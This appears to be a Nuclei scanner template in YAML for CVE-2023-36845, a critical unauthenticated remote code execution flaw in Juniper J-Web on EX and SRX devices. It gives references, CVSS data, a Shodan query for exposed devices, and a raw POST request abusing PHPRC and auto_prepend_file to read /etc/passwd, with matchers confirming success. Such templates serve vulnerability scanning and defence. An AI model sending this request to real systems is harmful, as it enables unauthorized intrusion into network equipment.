57 lines
1.9 KiB
YAML
57 lines
1.9 KiB
YAML
id: CVE-2023-36845
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info:
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name: Juniper J-Web - Remote Code Execution
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author: yaser_s
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severity: critical
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description: |
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A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to control certain environments variables to execute remote commands
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
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reference:
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- https://vulncheck.com/blog/juniper-cve-2023-36845
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- https://nvd.nist.gov/vuln/detail/CVE-2023-36845
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- https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
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- http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html
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- https://supportportal.juniper.net/JSA72300
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-36845
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cwe-id: CWE-473
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epss-score: 0.69312
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epss-percentile: 0.97711
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cpe: cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: juniper
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product: junos
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shodan-query: title:"Juniper Web Device Manager"
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tags: cve,cve2023,packetstorm,rce,unauth,juniper,kev
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http:
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- raw:
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- |
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POST /?PHPRC=/dev/fd/0 HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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auto_prepend_file="/etc/passwd"
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matchers-condition: and
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matchers:
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- type: regex
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part: body
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regex:
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- "root:.*:0:0:"
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- type: word
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part: body
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words:
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- "Juniper"
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100d0b807462fd2f740b6f35584821ecfcf41b62f92b2d611633a88ce0956d97ccc02202e8a6c9210020dea7ac6831519e021a0a8c55e8fac3baf8525bcb12e15dd4fcd:922c64590222798bb761d5b6d8e72950 |